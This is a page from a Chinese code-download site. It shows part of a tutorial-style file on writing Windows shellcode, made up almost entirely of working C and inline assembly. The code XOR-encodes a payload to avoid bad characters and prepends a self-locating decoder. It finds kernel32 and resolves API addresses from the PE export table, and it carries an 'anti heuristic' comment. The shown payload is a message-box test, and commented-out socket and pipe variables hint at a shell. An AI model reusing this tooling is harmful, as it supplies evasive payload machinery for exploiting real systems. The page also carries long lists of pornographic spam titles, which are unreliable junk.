亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? 關于windows下shellcode編寫的一點思考.txt

?? 學習(編程技巧_編程知識_程序代碼),是學習編程不可多得的學習精驗
?? TXT
?? 第 1 頁 / 共 2 頁
字號:
  if (k<MAX_Enc_Len) pSc_addr+=(k+8);   //如找到定位實際代碼的開始
  */

  //找到shellcode的結尾及長度
  for(k=0;k<MAX_Sc_Len;++k) if(memcmp(pSc_addr+k,fnend_str,ENDSTRLEN)==0) break;
  if (k<MAX_Sc_Len) Sc_len=k;
  else 
  {
      k=0;
      printf("\nNo End str defined in ShellCodes function!Please Check....\n");
      return 0;
  }


  //把shellcode代碼復制進sc_buff
  memcpy(sc_buff,pSc_addr,Sc_len);

  //把字符串拷貝在shellcode的結尾
  for(i=0;i<MAX_api_strlen;++i) if(memcmp(ApiStr+i,"strend",API_endstrlen)==0) break;
  if(i>=MAX_api_strlen)
  {
      printf("\nNo End str defined in API strings!Please Check....\n");
      return 0;
  }
  memcpy(sc_buff+k,ApiStr,i);

  Sc_len+=i;        //增加shellcode的長度

  //
  //對shellcode進行編碼算法簡單,可根據需要改變
  //
  k=EncCode_len+nop_LEN;    //定位緩沖區應存放ShellCode地址的開始

  for(i=0;i<Sc_len;++i){

     ch=sc_buff[i]^Enc_key;
     //對一些可能造成shellcode失效的字符進行替換
     if(ch<=0x1f||ch==' '||ch=='.'||ch=='/'||ch=='\\'||ch=='0'||ch=='?'||ch=='%'||ch=='+')
     {
        buff[k]='0';
        ++k;
        ch+=0x31;
     }
     //把編碼過的shellcode放在DecryptSc代碼后面
     buff[k]=ch;
     ++k;
  }

  //shellcode的總長度
  buff_len=k;

  //打印出shellcode
  PrintSc(buff,buff_len);
  //buff[buff_len]=0;
  //printf("%s",buff);

#ifdef DEBUG
  _asm{
      lea eax,buff
      jmp eax
      ret
  }
#endif

    return  0;
}

//解碼shellcode的代碼
void  DecryptSc()
{
       __asm{

/////////////////////////
//定義開始標志
/////////////////////////
          PROC_BEGIN    //C macro to begin proc

          jmp   next
getEncCodeAddr:
          pop   edi
          push  edi
          pop   esi
          xor   ecx,ecx
Decrypt_lop: 
          lodsb
          cmp  al,cl
          jz   shell
          cmp  al,0x30  //判斷是否為特殊字符
          jz   special_char_clean
store:      
          xor  al,Enc_key
          stosb
          jmp  Decrypt_lop
special_char_clean:   
          lodsb
          sub al,0x31
          jmp store
next:     
          call  getEncCodeAddr
          //其余真正加密的shellcode代碼會連接在此處
shell:    

/////////////////////////
//定義結束標志
/////////////////////////
          PROC_END      //C macro to end proc

          }
}         

//
//shellcode代碼
//
void ShellCodes()
{
    //API低址數組    
    FARPROC     API[API_num];


    //自己獲取的API地址
    FARPROC     GetProcAddr;
    FARPROC    LoadLib;

    HANDLE      hKrnl32;
    HANDLE      libhandle;

    char        *ApiStr_addr,*p;
    
    int         k;
    u_short     shellcodeport;

    //測試用變量
    char        *testAddr;

/*
    STARTUPINFO siinfo;
    SOCKET      listenFD,clientFD;
    struct      sockaddr_in server;
    int         iAddrSize = sizeof(server);
    int         lBytesRead;
    PROCESS_INFORMATION ProcessInformation;
    HANDLE      hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
    SECURITY_ATTRIBUTES sa;

*/


_asm {
        jmp    locate_addr0
getApiStr_addr:
        pop    ApiStr_addr

        //開始獲取API的地址以及GetProcAddress和LoadLibraryA的地址
        //以后就可以方便地獲取任何API的地址了

        //保護寄存器
        pushad

    xor     esi,esi
        lods    dword ptr fs:[esi]
        
Search_Krnl32_lop:
        inc     eax
        je      Krnl32_Base_Ok
        dec     eax
        xchg    esi,eax
        LODSD  
        jmp     Search_Krnl32_lop
Krnl32_Base_Ok:

        LODSD                   
                                ;compare if PE_hdr
        xchg    esi,eax
    find_pe_header:
        dec     esi
        xor     si,si           ;kernel32 is 64kb align
        mov     eax,[esi]
        add     ax,-'ZM'        ;       
        jne     find_pe_header
        mov     edi,[esi+3ch]   ;.e_lfanew        
        mov     eax,[esi+edi]
        add     eax,-'EP'       ;anti heuristic change this if you are using MASM etc.     
        jne     find_pe_header  
        
        push     esi
                                ;esi=VA Kernel32.BASE
                                ;edi=RVA K32.pehdr        
        mov     ebx,esi
        mov     edi,[ebx+edi+78h]  ;peh.DataDirectory
        
        push    edi
        push    esi

        mov     eax,[ebx+edi+20h]  ;peexc.AddressOfNames                 
        mov     edx,[ebx+edi+24h]  ;peexc.AddressOfNameOrdinals      
        call    __getProcAddr
        _emit 0x47
        _emit 0x65
        _emit 0x74
        _emit 0x50
        _emit 0x72
        _emit 0x6F
        _emit 0x63
        _emit 0x41
        _emit 0x64
        _emit 0x64
        _emit 0x72
        _emit 0x65
        _emit 0x73
        _emit 0x73
        _emit 0x0
        //db     "GetProcAddress",0
__getProcAddr:
        pop     edi
        mov     ecx,15        
        sub     eax,4
next_:        
        add     eax,4
        add     edi,ecx
        sub     edi,15
        mov     esi,[ebx+eax]
        add     esi,ebx
        mov     ecx,15
        repz    cmpsb
        jnz     next_

        pop     esi
        pop     edi

        sub     eax,[ebx+edi+20h]      ;peexc.AddressOfNames
        shr     eax,1
        add     edx,ebx
        movzx   eax,word ptr [edx+eax]        
        add     esi,[ebx+edi+1ch]       ;peexc.AddressOfFunctions
        add     ebx,[esi+eax*4]         ;ebx=Kernel32.GetProcAddress.addr
                                        ;use GetProcAddress and hModule to get other func
        pop     esi                     ;esi=kernel32 Base

        mov     [hKrnl32],esi           //保存
        mov     [GetProcAddr],ebx       //保存

        call    _getLoadLib
        _emit 0x4C
        _emit 0x6F
        _emit 0x61
        _emit 0x64
        _emit 0x4C
        _emit 0x69
        _emit 0x62
        _emit 0x72
        _emit 0x61
        _emit 0x72
        _emit 0x79
        _emit 0x41
        _emit 0x0
        //db      "LoadLibraryA",0
        
_getLoadLib:
        push    esi
        call    ebx
        mov     [LoadLib],eax

        //恢復寄存器,避免更多問題
        popad
    }

   //取出定義的端口地址
   shellcodeport=*(u_short *)ApiStr_addr;
   ApiStr_addr+=2;
   
   ////////////////////////////////測試用
    testAddr=ApiStr_addr;
   ////////////////////////////////////

   //利用GetProcAddress來獲得shellcode中所用到的API地址

   libhandle=hKrnl32;
   p=ApiStr_addr;

   k=0;
   ///*
   while ( *((unsigned int *)p) != 0)
   {
       ApiStr_addr=p;
       while(*p) p++;   //前進到下一個字符串

       if (*( (unsigned int *)(p-4))=='lld.')
       {
           libhandle=(HANDLE)LoadLib(ApiStr_addr);  //若為DLL則加載DLL
       }
       else
       {
           API[k]=(FARPROC)GetProcAddr(libhandle,ApiStr_addr);
           k++;
       }
       
       ApiStr_addr=++p; //更新指針前進一個字符位置
       
   }
   
   //*/

///////////////////////////////////////////////////////////////////////////
//         下面就可以使用C語言來編寫真正實現功能的shellcode了                //
///////////////////////////////////////////////////////////////////////////
//
//簡單測試幾個API看是否復合要求
//
API[_MessageBeep](0x10);
API[_MessageBoxA](0,testAddr,0,0x40);
API[_ExitProcess](0);
///////////////////////////////////////////////////////////////////////////
//                           shellcode功能部分結束                       //
///////////////////////////////////////////////////////////////////////////

//死循環
die:   
    goto die;
__asm
    {
locate_addr0:  
           call getApiStr_addr      //5 bytes
//真正的字符串數據要連接在此處
    



/////////////////////////
//定義結束標志
/////////////////////////
          PROC_END      //C macro to end proc
       
     }
}

//
//顯示打印生成的shellcode的C string格式代碼
//
void PrintSc(char *lpBuff, int buffsize)
{
    int i,j;
    char *p;
    char msg[4];
    for(i=0;i<buffsize;i++)
    {
        if((i%16)==0)
            if(i!=0)
                printf("\"\n\"");
            else
                printf("\"");
        sprintf(msg,"\\x%.2X",lpBuff[i]&0xff);
        for( p = msg, j=0; j < 4; p++, j++ )
        {
            if(isupper(*p))
                printf("%c", _tolower(*p));
            else
                printf("%c", p[0]);
        }
    }
    printf("\";\n/*Shell total are %d bytes */\n",buffsize);
}  
 

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
欧美高清在线一区| 国内成人免费视频| 久久精品国产在热久久| 风间由美一区二区三区在线观看| 在线亚洲一区二区| 国产欧美视频一区二区| 免费高清在线视频一区·| 色久综合一二码| 国产精品人妖ts系列视频| 蜜桃av一区二区三区| 欧美日韩在线一区二区| 综合久久综合久久| 成人免费电影视频| 欧美极品美女视频| 国产在线精品视频| 欧美成人激情免费网| 亚洲成人一区在线| 欧美日韩一区高清| 亚洲国产综合在线| 欧美最猛黑人xxxxx猛交| 成人免费在线视频| av成人免费在线观看| 国产精品丝袜黑色高跟| 国产黄色成人av| 久久久久久久综合| 国产原创一区二区| 国产亚洲一区二区在线观看| 久久超碰97人人做人人爱| 欧美三电影在线| 亚洲成人午夜影院| 欧美高清精品3d| 午夜精品aaa| 欧美喷潮久久久xxxxx| 亚洲成人av电影| 欧美在线小视频| 午夜精彩视频在线观看不卡| 欧美视频中文一区二区三区在线观看| 亚洲视频免费看| 91日韩精品一区| 怡红院av一区二区三区| 在线观看亚洲专区| 午夜激情久久久| 日韩久久久精品| 国产美女av一区二区三区| 国产日韩欧美高清| 91麻豆高清视频| 亚洲国产综合人成综合网站| 欧美日韩不卡视频| 精品在线免费观看| 国产欧美一区二区精品性色| a在线播放不卡| 国产在线播放一区二区三区| 欧美国产精品一区| 欧美综合色免费| 麻豆精品久久精品色综合| 国产欧美精品区一区二区三区 | 91精品国产欧美一区二区18| 日韩av一级电影| 久久人人爽人人爽| 91免费视频网址| 日韩和欧美一区二区| 久久综合精品国产一区二区三区| 粉嫩av亚洲一区二区图片| 亚洲一区二区精品视频| 日韩亚洲欧美综合| 风间由美性色一区二区三区| 亚洲一区二区三区自拍| 精品国产91洋老外米糕| 91在线码无精品| 久久精品国产亚洲一区二区三区| 国产精品欧美一区二区三区| 欧美日韩国产综合一区二区三区| 国内不卡的二区三区中文字幕 | 日本一区二区三区四区 | 欧美电影免费观看高清完整版| 国产精品911| 五月婷婷激情综合| 国产无遮挡一区二区三区毛片日本| 在线免费观看视频一区| 国产一二精品视频| 日韩av在线播放中文字幕| 中文字幕中文字幕一区二区| 欧美一二三在线| 在线精品视频一区二区| 丁香啪啪综合成人亚洲小说| 亚洲123区在线观看| 国产精品国产三级国产aⅴ入口| 欧美电影免费观看高清完整版 | 日韩精品影音先锋| 在线观看av一区| www.欧美色图| 国产美女在线观看一区| 日韩电影在线免费| 一区二区三区精品在线| 欧美激情综合五月色丁香小说| 欧美一区二区视频观看视频 | 欧美成人bangbros| 精品视频全国免费看| 91免费观看视频| www.欧美.com| 成人免费毛片app| 国产乱一区二区| 韩日精品视频一区| 另类小说图片综合网| av影院午夜一区| 国产成人一级电影| 国产乱理伦片在线观看夜一区| 麻豆91在线播放免费| 视频一区二区三区在线| 亚洲成人免费视| 亚洲成a人片在线不卡一二三区| 成人欧美一区二区三区1314 | 91免费观看视频在线| eeuss鲁片一区二区三区在线观看| 国产成人在线影院| 国产91色综合久久免费分享| 国产一区二区精品久久91| 国产在线一区观看| 国产99一区视频免费| 粉嫩嫩av羞羞动漫久久久| 东方aⅴ免费观看久久av| www.av精品| 91美女片黄在线观看| 在线免费不卡电影| 欧美又粗又大又爽| 欧美三级在线看| 91精品在线观看入口| 精品奇米国产一区二区三区| 精品国产一区二区三区四区四| 精品欧美一区二区久久| 国产欧美精品一区aⅴ影院 | 偷窥国产亚洲免费视频| 日韩中文字幕一区二区三区| 日韩精品国产欧美| 久久9热精品视频| 国产福利一区在线| www.欧美色图| 欧美日韩在线电影| 日韩精品中午字幕| 国产精品久久久久久亚洲伦| 亚洲精品视频免费观看| 亚洲国产欧美在线人成| 久久福利视频一区二区| 成人av在线观| 欧美精品在欧美一区二区少妇| 精品福利二区三区| 自拍av一区二区三区| 免费日韩伦理电影| 成人午夜激情影院| 欧美日本在线观看| 欧美韩日一区二区三区| 亚洲理论在线观看| 全部av―极品视觉盛宴亚洲| 顶级嫩模精品视频在线看| 欧美网站大全在线观看| 精品99999| 亚洲欧美日韩久久精品| 美女一区二区在线观看| caoporm超碰国产精品| 91精品国产综合久久福利软件| 久久精品一区二区三区四区| 亚洲欧美激情小说另类| 狠狠色伊人亚洲综合成人| 91麻豆精品在线观看| 精品国产免费人成电影在线观看四季 | 一本久久综合亚洲鲁鲁五月天 | 中文字幕高清不卡| 午夜久久久久久久久久一区二区| 国产成人综合网站| 91精品国产福利在线观看| 国产精品久久久爽爽爽麻豆色哟哟| 图片区小说区国产精品视频| 99久久免费视频.com| 久久久影视传媒| 蜜桃av一区二区三区电影| 欧美在线不卡视频| 18欧美亚洲精品| 国产乱码精品一区二区三区av | 亚洲视频 欧洲视频| 精品一区二区精品| 欧美美女视频在线观看| 亚洲欧洲日韩综合一区二区| 国产乱人伦精品一区二区在线观看 | 午夜激情久久久| 91久久精品一区二区二区| 国产精品久久久久四虎| 国产精品2024| 欧美电视剧在线观看完整版| 婷婷夜色潮精品综合在线| 色94色欧美sute亚洲线路一久| 国产精品国产精品国产专区不片| 国产美女精品在线| 久久综合给合久久狠狠狠97色69| 蜜桃视频在线一区| 欧美一区二区三区影视| 视频一区在线播放| 欧美一级二级三级蜜桃| 久久精品久久久精品美女| 777欧美精品| 午夜视频在线观看一区二区三区 |